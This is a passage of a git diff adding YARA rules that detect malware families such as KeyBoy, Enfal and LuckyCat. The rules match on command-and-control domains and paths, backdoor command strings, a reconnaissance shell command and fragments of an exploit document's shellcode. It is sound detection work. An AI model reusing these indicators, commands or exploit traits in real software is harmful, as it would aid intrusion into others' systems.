and + + all of ($reg*) +} + +rule dubseven_dropper_dialog_remains +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for related dialog remnants. How rude." + + strings: + $dia1 = "fuckMessageBox 1.0" wide + $dia2 = "Rundll 1.0" wide + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + any of them +} + + +rule maindll_mutex +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches on the maindll mutex" + + strings: + $mutex = "h31415927tttt" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $mutex +} + + +rule SLServer_dialog_remains +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for related dialog remnants." + + strings: + $slserver = "SLServer" wide + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $slserver +} + +rule SLServer_mutex +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for the mutex." + + strings: + $mutex = "M&GX^DSF&DA@F" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $mutex +} + +rule SLServer_command_and_control +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for the C2 server." + + strings: + $c2 = "safetyssl.security-centers.com" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $c2 +} + +rule SLServer_campaign_code +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for the related campaign code." + + strings: + $campaign = "wthkdoc0106" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $campaign +} + +rule SLServer_unknown_string +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for a unique string." + + strings: + $string = "test-b7fa835a39" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + $string +} + + + diff --git a/data/ioc/yara/malware_families/bangat.yara b/data/ioc/yara/malware_families/bangat.yara new file mode 100644 index 0000000..8edd2d2 --- /dev/null +++ b/data/ioc/yara/malware_families/bangat.yara @@ -0,0 +1,45 @@ +private rule BangatCode : Bangat Family +{ + meta: + description = "Bangat code features" + author = "Seth Hardy" + last_modified = "2014-07-10" + + strings: + // dec [ebp + procname], push eax, push edx, call get procaddress + $ = { FE 4D ?? 8D 4? ?? 50 5? FF } + + condition: + any of them +} + +private rule BangatStrings : Bangat Family +{ + meta: + description = "Bangat Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-07-10" + + strings: + $lib1 = "DreatePipe" + $lib2 = "HetSystemDirectoryA" + $lib3 = "SeleaseMutex" + $lib4 = "DloseWindowStation" + $lib5 = "DontrolService" + $file = "~hhC2F~.tmp" + $mc = "~_MC_3~" + + condition: + all of ($lib*) or $file or $mc +} + +rule Bangat : Family +{ + meta: + description = "Bangat" + author = "Seth Hardy" + last_modified = "2014-07-10" + + condition: + BangatCode or BangatStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/boouset.yara b/data/ioc/yara/malware_families/boouset.yara new file mode 100644 index 0000000..8035e11 --- /dev/null +++ b/data/ioc/yara/malware_families/boouset.yara @@ -0,0 +1,42 @@ +private rule BoousetCode : Boouset Family +{ + meta: + description = "Boouset code tricks" + author = "Seth Hardy" + last_modified = "2014-06-19" + + strings: + $boousetdat = { C6 ?? ?? ?? ?? 00 62 C6 ?? ?? ?? ?? 00 6F C6 ?? ?? ?? ?? 00 6F C6 ?? ?? ?? ?? 00 75 } + + condition: + any of them +} + +private rule BoousetStrings : Boouset Family +{ + meta: + description = "Boouset Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-19" + + strings: + $ = "Q\x00\x00\x00\x00W\x00\x00\x00\x00E\x00\x00\x00\x00R\x00\x00\x00\x00T\x00\x00\x00\x00Y\x00\x00\x00\x00" + $ = "A\x00\x00\x00\x00S\x00\x00\x00\x00D\x00\x00\x00\x00F\x00\x00\x00\x00G\x00\x00\x00\x00H" + $ = "Z\x00\x00\x00\x00X\x00\x00\x00\x00C\x00\x00\x00\x00V\x00\x00\x00\x00B\x00\x00\x00\x00N\x00\x00\x00\x00" + $ = "\\~Z8314.tmp" + $ = "hulee midimap" wide ascii + + condition: + any of them +} + +rule Boouset : Family +{ + meta: + description = "Boouset" + author = "Seth Hardy" + last_modified = "2014-06-19" + + condition: + BoousetCode or BoousetStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/comfoo.yara b/data/ioc/yara/malware_families/comfoo.yara new file mode 100644 index 0000000..ea58587 --- /dev/null +++ b/data/ioc/yara/malware_families/comfoo.yara @@ -0,0 +1,43 @@ +private rule ComfooCode : Comfoo Family +{ + meta: + description = "Comfoo code features" + author = "Seth Hardy" + last_modified = "2014-06-20" + + strings: + $resource = { 6A 6C 6A 59 55 E8 01 FA FF FF } + + condition: + any of them +} + +private rule ComfooStrings : Comfoo Family +{ + meta: + description = "Comfoo Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-20" + + strings: + $ = "fefj90" + $ = "iamwaitingforu653890" + $ = "watchevent29021803" + $ = "THIS324NEWGAME" + $ = "ms0ert.temp" + $ = "\\mstemp.temp" + + condition: + any of them +} + +rule Comfoo : Family +{ + meta: + description = "Comfoo" + author = "Seth Hardy" + last_modified = "2014-06-20" + + condition: + ComfooCode or ComfooStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/cookies.yara b/data/ioc/yara/malware_families/cookies.yara new file mode 100644 index 0000000..fc038d2 --- /dev/null +++ b/data/ioc/yara/malware_families/cookies.yara @@ -0,0 +1,38 @@ +private rule CookiesStrings : Cookies Family +{ + meta: + description = "Cookies Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-20" + + strings: + $zip1 = "ntdll.exePK" + $zip2 = "AcroRd32.exePK" + $zip3 = "Setup=ntdll.exe\x0d\x0aSilent=1\x0d\x0a" + $zip4 = "Setup=%temp%\\AcroRd32.exe\x0d\x0a" + $exe1 = "Leave GetCommand!" + $exe2 = "perform exe success!" + $exe3 = "perform exe failure!" + $exe4 = "Entry SendCommandReq!" + $exe5 = "Reqfile not exist!" + $exe6 = "LeaveDealUpfile!" + $exe7 = "Entry PostData!" + $exe8 = "Leave PostFile!" + $exe9 = "Entry PostFile!" + $exe10 = "\\unknow.zip" wide ascii + $exe11 = "the url no respon!" + + condition: + (2 of ($zip*)) or (2 of ($exe*)) +} + +rule Cookies : Family +{ + meta: + description = "Cookies" + author = "Seth Hardy" + last_modified = "2014-06-20" + + condition: + CookiesStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/cxpid.yara b/data/ioc/yara/malware_families/cxpid.yara new file mode 100644 index 0000000..e82ea1f --- /dev/null +++ b/data/ioc/yara/malware_families/cxpid.yara @@ -0,0 +1,42 @@ +private rule cxpidCode : cxpid Family +{ + meta: + description = "cxpid code features" + author = "Seth Hardy" + last_modified = "2014-06-23" + + strings: + $entryjunk = { 55 8B EC B9 38 04 00 00 6A 00 6A 00 49 75 F9 } + + condition: + any of them +} + +private rule cxpidStrings : cxpid Family +{ + meta: + description = "cxpid Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-23" + + strings: + $ = "/cxpid/submit.php?SessionID=" + $ = "/cxgid/" + $ = "E21BC52BEA2FEF26D005CF" + $ = "E21BC52BEA39E435C40CD8" + $ = " -,L-,O+,Q-,R-,Y-,S-" + + condition: + any of them +} + +rule cxpid : Family +{ + meta: + description = "cxpid" + author = "Seth Hardy" + last_modified = "2014-06-23" + + condition: + cxpidCode or cxpidStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/enfal.yara b/data/ioc/yara/malware_families/enfal.yara new file mode 100644 index 0000000..1da7413 --- /dev/null +++ b/data/ioc/yara/malware_families/enfal.yara @@ -0,0 +1,69 @@ +private rule EnfalCode : Enfal Family +{ + meta: + description = "Enfal code tricks" + author = "Seth Hardy" + last_modified = "2014-06-19" + + strings: + // mov al, 20h; sub al, bl; add [ebx+esi], al; push esi; inc ebx; call edi; cmp ebx, eax + $decrypt = { B0 20 2A C3 00 04 33 56 43 FF D7 3B D8 } + + condition: + any of them +} + +private rule EnfalStrings : Enfal Family +{ + meta: + description = "Enfal Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-19" + + strings: + $ = "D:\\work\\\xe6\xba\x90\xe5\x93\xa5\xe5\x85\x8d\xe6\x9d\x80\\tmp\\Release\\ServiceDll.pdb" + $ = "e:\\programs\\LuridDownLoader" + $ = "LuridDownloader for Falcon" + $ = "DllServiceTrojan" + $ = "\\k\\\xe6\xa1\x8c\xe8\x9d\xa2\\" + $ = "EtenFalcon\xef\xbc\x88\xe4\xbf\xae\xe6\x94\xb9\xef\xbc\x89" + $ = "Madonna\x00Jesus" + $ = "/iupw82/netstate" + $ = "fuckNodAgain" + $ = "iloudermao" + $ = "Crpq2.cgi" + $ = "Clnpp5.cgi" + $ = "Dqpq3ll.cgi" + $ = "dieosn83.cgi" + $ = "Rwpq1.cgi" + $ = "/Ccmwhite" + $ = "/Cmwhite" + $ = "/Crpwhite" + $ = "/Dfwhite" + $ = "/Query.txt" + $ = "/Ufwhite" + $ = "/cgl-bin/Clnpp5.cgi" + $ = "/cgl-bin/Crpq2.cgi" + $ = "/cgl-bin/Dwpq3ll.cgi" + $ = "/cgl-bin/Owpq4.cgi" + $ = "/cgl-bin/Rwpq1.cgi" + $ = "/trandocs/mm/" + $ = "/trandocs/netstat" + $ = "NFal.exe" + $ = "LINLINVMAN" + $ = "7NFP4R9W" + + condition: + any of them +} + +rule Enfal : Family +{ + meta: + description = "Enfal" + author = "Seth Hardy" + last_modified = "2014-06-19" + + condition: + EnfalCode or EnfalStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/ezcob.yara b/data/ioc/yara/malware_families/ezcob.yara new file mode 100644 index 0000000..7a7c2f9 --- /dev/null +++ b/data/ioc/yara/malware_families/ezcob.yara @@ -0,0 +1,28 @@ +private rule EzcobStrings : Ezcob Family +{ + meta: + description = "Ezcob Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-23" + + strings: + $ = "\x12F\x12F\x129\x12E\x12A\x12E\x12B\x12A\x12-\x127\x127\x128\x123\x12" + $ = "\x121\x12D\x128\x123\x12B\x122\x12E\x128\x12-\x12B\x122\x123\x12D\x12" + $ = "Ezcob" wide ascii + $ = "l\x12i\x12u\x122\x120\x121\x123\x120\x124\x121\x126" + $ = "20110113144935" + + condition: + any of them +} + +rule Ezcob : Family +{ + meta: + description = "Ezcob" + author = "Seth Hardy" + last_modified = "2014-06-23" + + condition: + EzcobStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/fakem.yara b/data/ioc/yara/malware_families/fakem.yara new file mode 100644 index 0000000..cb4eb17 --- /dev/null +++ b/data/ioc/yara/malware_families/fakem.yara @@ -0,0 +1,42 @@ +private rule HTMLVariant : FakeM Family HTML Variant +{ + meta: + description = "Identifier for html variant of FAKEM" + author = "Katie Kleemola" + last_updated = "2014-05-20" + + strings: + // decryption loop + $s1 = { 8B 55 08 B9 00 50 00 00 8D 3D ?? ?? ?? 00 8B F7 AD 33 C2 AB 83 E9 04 85 C9 75 F5 } + //mov byte ptr [ebp - x] y, x: 0x10-0x1 y: 0-9,A-F + $s2 = { C6 45 F? (3?|4?) } + + condition: + $s1 and #s2 == 16 + +} + +//todo: need rules for other variants +rule FakeM : Family +{ + meta: + description = "FakeM" + author = "Katie Kleemola" + last_updated = "2014-07-03" + + condition: + HTMLVariant + + +} + +rule FAKEMhtml : Variant +{ + meta: + description = "Rule for just the HTML Variant" + author = "Katie Kleemola" + last_updated = "2014-07-10" + + condition: + HTMLVariant +} diff --git a/data/ioc/yara/malware_families/favorite.yara b/data/ioc/yara/malware_families/favorite.yara new file mode 100644 index 0000000..7ac5732 --- /dev/null +++ b/data/ioc/yara/malware_families/favorite.yara @@ -0,0 +1,42 @@ +private rule FavoriteCode : Favorite Family +{ + meta: + description = "Favorite code features" + author = "Seth Hardy" + last_modified = "2014-06-24" + + strings: + // standard string hiding + $ = { C6 45 ?? 3B C6 45 ?? 27 C6 45 ?? 34 C6 45 ?? 75 C6 45 ?? 6B C6 45 ?? 6C C6 45 ?? 3B C6 45 ?? 2F } + $ = { C6 45 ?? 6F C6 45 ?? 73 C6 45 ?? 73 C6 45 ?? 76 C6 45 ?? 63 C6 45 ?? 65 C6 45 ?? 78 C6 45 ?? 65 } + + condition: + any of them +} + +private rule FavoriteStrings : Favorite Family +{ + meta: + description = "Favorite Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-24" + + strings: + $string1 = "!QAZ4rfv" + $file1 = "msupdater.exe" + $file2 = "FAVORITES.DAT" + + condition: + any of ($string*) or all of ($file*) +} + +rule Favorite : Family +{ + meta: + description = "Favorite" + author = "Seth Hardy" + last_modified = "2014-06-24" + + condition: + FavoriteCode or FavoriteStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/glasses.yara b/data/ioc/yara/malware_families/glasses.yara new file mode 100644 index 0000000..617bd58 --- /dev/null +++ b/data/ioc/yara/malware_families/glasses.yara @@ -0,0 +1,43 @@ +private rule GlassesCode : Glasses Family +{ + meta: + description = "Glasses code features" + author = "Seth Hardy" + last_modified = "2014-07-22" + + strings: + $ = { B8 AB AA AA AA F7 E1 D1 EA 8D 04 52 2B C8 } + $ = { B8 56 55 55 55 F7 E9 8B 4C 24 1C 8B C2 C1 E8 1F 03 D0 49 3B CA } + + condition: + any of them +} + +private rule GlassesStrings : Glasses Family +{ + meta: + description = "Strings used by Glasses" + author = "Seth Hardy" + last_modified = "2014-07-22" + + strings: + $ = "thequickbrownfxjmpsvalzydg" + $ = "Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0; Trident/4.0; %s.%s)" + $ = "\" target=\"NewRef\">" + + condition: + all of them + +} + +rule Glasses : Family +{ + meta: + description = "Glasses family" + author = "Seth Hardy" + last_modified = "2014-07-22" + + condition: + GlassesCode or GlassesStrings + +} diff --git a/data/ioc/yara/malware_families/iexpl0re.yara b/data/ioc/yara/malware_families/iexpl0re.yara new file mode 100644 index 0000000..b1b55c1 --- /dev/null +++ b/data/ioc/yara/malware_families/iexpl0re.yara @@ -0,0 +1,57 @@ +private rule iexpl0reCode : iexpl0ree Family +{ + meta: + description = "iexpl0re code features" + author = "Seth Hardy" + last_modified = "2014-07-21" + + strings: + $ = { 47 83 FF 64 0F 8C 6D FF FF FF 33 C0 5F 5E 5B C9 C3 } + $ = { 80 74 0D A4 44 41 3B C8 7C F6 68 04 01 00 00 } + $ = { 8A C1 B2 07 F6 EA 30 04 31 41 3B 4D 10 7C F1 } + $ = { 47 83 FF 64 0F 8C 79 FF FF FF 33 C0 5F 5E 5B C9 C3 } + // 88h decrypt + $ = { 68 88 00 00 00 68 90 06 00 00 68 ?? ?? ?? ?? 89 3? E8 } + $ = { BB 88 00 00 00 53 68 90 06 00 00 68 ?? ?? ?? ?? 89 3? E8 } + + condition: + any of them +} + +private rule iexpl0reStrings : iexpl0re Family +{ + meta: + description = "Strings used by iexpl0re" + author = "Seth Hardy" + last_modified = "2014-07-21" + + strings: + $ = "%USERPROFILE%\\IEXPL0RE.EXE" + $ = "\"<770j ((" + $ = "\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\IEXPL0RE.LNK" + $ = "\\Documents and Settings\\%s\\Application Data\\Microsoft\\Internet Explorer\\IEXPL0RE.EXE" + $ = "LoaderV5.dll" + // stage 2 + $ = "POST /index%0.9d.asp HTTP/1.1" + $ = "GET /search?n=%0.9d&" + $ = "DUDE_AM_I_SHARP-3.14159265358979x6.626176" + $ = "WHO_A_R_E_YOU?2.99792458x1.25663706143592" + $ = "BASTARD_&&_BITCHES_%0.8x" + $ = "c:\\bbb\\eee.txt" + + condition: + any of them + +} + +rule iexpl0re : Family +{ + meta: + description = "iexpl0re family" + author = "Seth Hardy" + last_modified = "2014-07-21" + + condition: + iexpl0reCode or iexpl0reStrings + +} diff --git a/data/ioc/yara/malware_families/imuler.yara b/data/ioc/yara/malware_families/imuler.yara new file mode 100644 index 0000000..d45ac81 --- /dev/null +++ b/data/ioc/yara/malware_families/imuler.yara @@ -0,0 +1,60 @@ +private rule IMulerCode : IMuler Family +{ + meta: + description = "IMuler code tricks" + author = "Seth Hardy" + last_modified = "2014-06-16" + + strings: + // Load these function strings 4 characters at a time. These check the first two blocks: + $L4_tmpSpotlight = { C7 ?? 2F 74 6D 70 C7 ?? 04 2F 53 70 6F } + $L4_TMPAAABBB = { C7 ?? ?? ?? ?? ?? 54 4D 50 41 C7 ?? ?? ?? ?? ?? 41 41 42 42 } + $L4_FILEAGENTVer = { C7 ?? 46 49 4C 45 C7 ?? 04 41 47 45 4E } + $L4_TMP0M34JDF8 = { C7 ?? ?? ?? ?? ?? 54 4D 50 30 C7 ?? ?? ?? ?? ?? 4D 33 34 4A } + $L4_tmpmdworker = { C7 ?? 2F 74 6D 70 C7 ?? 04 2F 2E 6D 64 } + + condition: + any of ($L4*) +} + +private rule IMulerStrings : IMuler Family +{ + meta: + description = "IMuler Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-16" + + strings: + $ = "/cgi-mac/" + $ = "xnocz1" + $ = "checkvir.plist" + $ = "/Users/apple/Documents/mac back" + $ = "iMuler2" + $ = "/Users/imac/Desktop/macback/" + $ = "xntaskz.gz" + $ = "2wmsetstatus.cgi" + $ = "launch-0rp.dat" + $ = "2wmupload.cgi" + $ = "xntmpz" + $ = "2wmrecvdata.cgi" + $ = "xnorz6" + $ = "2wmdelfile.cgi" + $ = "/LanchAgents/checkvir" + $ = "0PERA:%s" + $ = "/tmp/Spotlight" + $ = "/tmp/launch-ICS000" + + condition: + any of them +} + +rule IMuler : Family +{ + meta: + description = "IMuler" + author = "Seth Hardy" + last_modified = "2014-06-16" + + condition: + IMulerCode or IMulerStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/insta11.yara b/data/ioc/yara/malware_families/insta11.yara new file mode 100644 index 0000000..4ccbc41 --- /dev/null +++ b/data/ioc/yara/malware_families/insta11.yara @@ -0,0 +1,43 @@ +private rule Insta11Code : Insta11 Family +{ + meta: + description = "Insta11 code features" + author = "Seth Hardy" + last_modified = "2014-06-23" + + strings: + // jmp $+5; push 423h + $jumpandpush = { E9 00 00 00 00 68 23 04 00 00 } + + condition: + any of them +} + +private rule Insta11Strings : Insta11 Family +{ + meta: + description = "Insta11 Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-23" + + strings: + $ = "XTALKER7" + $ = "Insta11 Microsoft" wide ascii + $ = "wudMessage" + $ = "ECD4FC4D-521C-11D0-B792-00A0C90312E1" + $ = "B12AE898-D056-4378-A844-6D393FE37956" + + condition: + any of them +} + +rule Insta11 : Family +{ + meta: + description = "Insta11" + author = "Seth Hardy" + last_modified = "2014-06-23" + + condition: + Insta11Code or Insta11Strings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/keyboy.yara b/data/ioc/yara/malware_families/keyboy.yara new file mode 100644 index 0000000..b2c03e5 --- /dev/null +++ b/data/ioc/yara/malware_families/keyboy.yara @@ -0,0 +1,289 @@ +import "pe" + +/* +* +* This section of the rules are all specific to the new 2016 +* KeyBoy sample targeting the Tibetan community. Other following +* sections capture file characteristics observed across multiple +* years of development. Don't miss the exploit doc signatures +* at the very end. +* +*/ +rule new_keyboy_export +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the new 2016 sample's export" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + //The malware family seems to share many exports + //but this is the new kid on the block. + pe.exports("cfsUpdate") +} + + +rule new_keyboy_header_codes +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the 2016 sample's header codes" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + strings: + $s1 = "*l*" wide fullword + $s2 = "*a*" wide fullword + $s3 = "*s*" wide fullword + $s4 = "*d*" wide fullword + $s5 = "*f*" wide fullword + $s6 = "*g*" wide fullword + $s7 = "*h*" wide fullword + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + all of them +} + + +/* +* +* This section of the rules are all broader and will hit on +* older KeyBoy samples and other samples possibly part of a +* a larger development effort. +* +*/ + +rule keyboy_commands +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the 2016 sample's sent and received commands" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + strings: + $s1 = "Update" wide fullword + $s2 = "UpdateAndRun" wide fullword + $s3 = "Refresh" wide fullword + $s4 = "OnLine" wide fullword + $s5 = "Disconnect" wide fullword + $s6 = "Pw_Error" wide fullword + $s7 = "Pw_OK" wide fullword + $s8 = "Sysinfo" wide fullword + $s9 = "Download" wide fullword + $s10 = "UploadFileOk" wide fullword + $s11 = "RemoteRun" wide fullword + $s12 = "FileManager" wide fullword + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + 6 of them +} + +rule keyboy_errors +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the sample's shell error2 log statements" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + strings: + //These strings are in ASCII pre-2015 and UNICODE in 2016 + $error = "Error2" ascii wide + //2016 specific: + $s1 = "Can't find [%s]!Check the file name and try again!" ascii wide + $s2 = "Open [%s] error! %d" ascii wide + $s3 = "The Size of [%s] is zero!" ascii wide + $s4 = "CreateThread DownloadFile[%s] Error!" ascii wide + $s5 = "UploadFile [%s] Error:Connect Server Failed!" ascii wide + $s6 = "Receive [%s] Error(Recved[%d] != Send[%d])!" ascii wide + $s7 = "Receive [%s] ok! Use %2.2f seconds, Average speed %2.2f k/s" ascii wide + $s8 = "CreateThread UploadFile[%s] Error!" ascii wide + //Pre-2016: + $s9 = "Ready Download [%s] ok!" ascii wide + $s10 = "Get ControlInfo from FileClient error!" ascii wide + $s11 = "FileClient has a error!" ascii wide + $s12 = "VirtualAlloc SendBuff Error(%d)" ascii wide + $s13 = "ReadFile [%s] Error(%d)..." ascii wide + $s14 = "ReadFile [%s] Data[Readed(%d) != FileSize(%d)] Error..." ascii wide + $s15 = "CreateThread DownloadFile[%s] Error!" ascii wide + $s16 = "RecvData MyRecv_Info Size Error!" ascii wide + $s17 = "RecvData MyRecv_Info Tag Error!" ascii wide + $s18 = "SendData szControlInfo_1 Error!" ascii wide + $s19 = "SendData szControlInfo_3 Error!" ascii wide + $s20 = "VirtualAlloc RecvBuff Error(%d)" ascii wide + $s21 = "RecvData Error!" ascii wide + $s22 = "WriteFile [%s} Error(%d)..." ascii wide + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + $error and 3 of ($s*) +} + + +rule keyboy_systeminfo +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the system information format before sending to C2" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + strings: + //These strings are ASCII pre-2015 and UNICODE in 2016 + $s1 = "SystemVersion: %s" ascii wide + $s2 = "Product ID: %s" ascii wide + $s3 = "InstallPath: %s" ascii wide + $s4 = "InstallTime: %d-%d-%d, %02d:%02d:%02d" ascii wide + $s5 = "ResgisterGroup: %s" ascii wide + $s6 = "RegisterUser: %s" ascii wide + $s7 = "ComputerName: %s" ascii wide + $s8 = "WindowsDirectory: %s" ascii wide + $s9 = "System Directory: %s" ascii wide + $s10 = "Number of Processors: %d" ascii wide + $s11 = "CPU[%d]: %s: %sMHz" ascii wide + $s12 = "RAM: %dMB Total, %dMB Free." ascii wide + $s13 = "DisplayMode: %d x %d, %dHz, %dbit" ascii wide + $s14 = "Uptime: %d Days %02u:%02u:%02u" ascii wide + + + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + 7 of them +} + + +rule keyboy_related_exports +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the new 2016 sample's export" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + //The malware family seems to share many exports + //but this is the new kid on the block. + pe.exports("Embedding") or + pe.exports("SSSS") or + pe.exports("GetUP") +} + +// Note: The use of the .Init section has been observed in nearly +// all samples with the exception of the 2013 VN dropper from the +// Rapid7 blog. The config data was stored in that sample's .data +// section. +rule keyboy_init_config_section +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the Init section where the config is stored" + date = "2016-08-28" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + //Payloads are normally smaller but the new dropper we spotted + //is a bit larger. + filesize < 300KB and + + + //Observed virtual sizes of the .Init section vary but they've + //always been 1024, 2048, or 4096 bytes. + for any i in (0..pe.number_of_sections - 1): + ( + pe.sections[i].name == ".Init" and + pe.sections[i].virtual_size % 1024 == 0 + ) +} + + +/* +* +* These signatures fire on the exploit documents used in this +* operation. +* +*/ +rule CVE_2012_0158_KeyBoy { + meta: + author = "Etienne Maynier " + description = "CVE-2012-0158 variant" + file = "8307e444cad98b1b59568ad2eba5f201" + + + strings: + $a = "d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff09000600000000000000000000000100000001" nocase // OLE header + $b = "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" nocase // junk data + $c = /5(\{\\b0\}|)[ ]*2006F00(\{\\b0\}|)[ ]*6F007(\{\\b0\}|)[ ]*400200045(\{\\b0\}|)[ ]*006(\{\\b0\}|)[ ]*E007(\{\\b0\}|)[ ]*400720079/ nocase + $d = "MSComctlLib.ListViewCtrl.2" + $e = "ac38c874503c307405347aaaebf2ac2c31ebf6e8e3" nocase //decoding shellcode + + + condition: + all of them +} diff --git a/data/ioc/yara/malware_families/luckycat.yara b/data/ioc/yara/malware_families/luckycat.yara new file mode 100644 index 0000000..3d9566a --- /dev/null +++ b/data/ioc/yara/malware_families/luckycat.yara @@ -0,0 +1,46 @@ +private rule LuckyCatCode : LuckyCat Family +{ + meta: + description = "LuckyCat code tricks" + author = "Seth Hardy" + last_modified = "2014-06-19" + + strings: + $xordecrypt = { BF 0F 00 00 00 F7 F7 ?? ?? ?? ?? 32 14 39 80 F2 7B } + $dll = { C6 ?? ?? ?? 64 C6 ?? ?? ?? 6C C6 ?? ?? ?? 6C } + $commonletters = { B? 63 B? 61 B? 73 B? 65 } + + condition: + $xordecrypt or ($dll and $commonletters) +} + +private rule LuckyCatStrings : LuckyCat Family +{ + meta: + description = "LuckyCat Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-19" + + strings: + $xorencrypted = { 77 76 75 7B 7A 79 78 7F 7E 7D 7C 73 72 71 70 } + $tempvbs = "%s\\~temp.vbs" + $countphp = "count.php\x00" + $trojanname = /WMILINK=.*TrojanName=/ + $tmpfile = "d0908076343423d3456.tmp" + $dirfile = "cmd /c dir /s /a C:\\\\ >'+tmpfolder+'\\\\C.tmp" + $ipandmac = "objIP.DNSHostName+'_'+objIP.MACAddress.split(':').join('')+'_'+addinf+'@')" + + condition: + any of them +} + +rule LuckyCat : Family +{ + meta: + description = "LuckyCat" + author = "Seth Hardy" + last_modified = "2014-06-19" + + condition: + LuckyCatCode or LuckyCatStrings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/lurk0+cctv0.yara b/data/ioc/yara/malware_families/lurk0+cctv0.yara new file mode 100644 index 0000000..b41f0cf --- /dev/null +++ b/data/ioc/yara/malware_families/lurk0+cctv0.yara @@ -0,0 +1,86 @@ +private rule LURK0Header : Family LURK0 { + meta: + description = "5 char code for LURK0" + author = "Katie Kleemola" + last_updated = "07-21-2014" + + strings: + $ = { C6 [5] 4C C6 [5] 55 C6 [5] 52 C6 [5] 4B C6 [5] 30 } + + condition: + any of them +} + +private rule CCTV0Header : Family CCTV0 { + meta: + description = "5 char code for LURK0" + author = "Katie Kleemola" + last_updated = "07-21-2014" + + strings: + //if its just one char a time + $ = { C6 [5] 43 C6 [5] 43 C6 [5] 54 C6 [5] 56 C6 [5] 30 } + // bit hacky but for when samples dont just simply mov 1 char at a time + $ = { B0 43 88 [3] 88 [3] C6 [3] 54 C6 [3] 56 [0-12] (B0 30 | C6 [3] 30) } + + condition: + any of them +} + +private rule SharedStrings : Family { + meta: + description = "Internal names found in LURK0/CCTV0 samples" + author = "Katie Kleemola" + last_updated = "07-22-2014" + + strings: + // internal names + $i1 = "Butterfly.dll" + $i2 = /\\BT[0-9.]+\\ButterFlyDLL\\/ + $i3 = "ETClientDLL" + + // dbx + $d1 = "\\DbxUpdateET\\" wide + $d2 = "\\DbxUpdateBT\\" wide + $d3 = 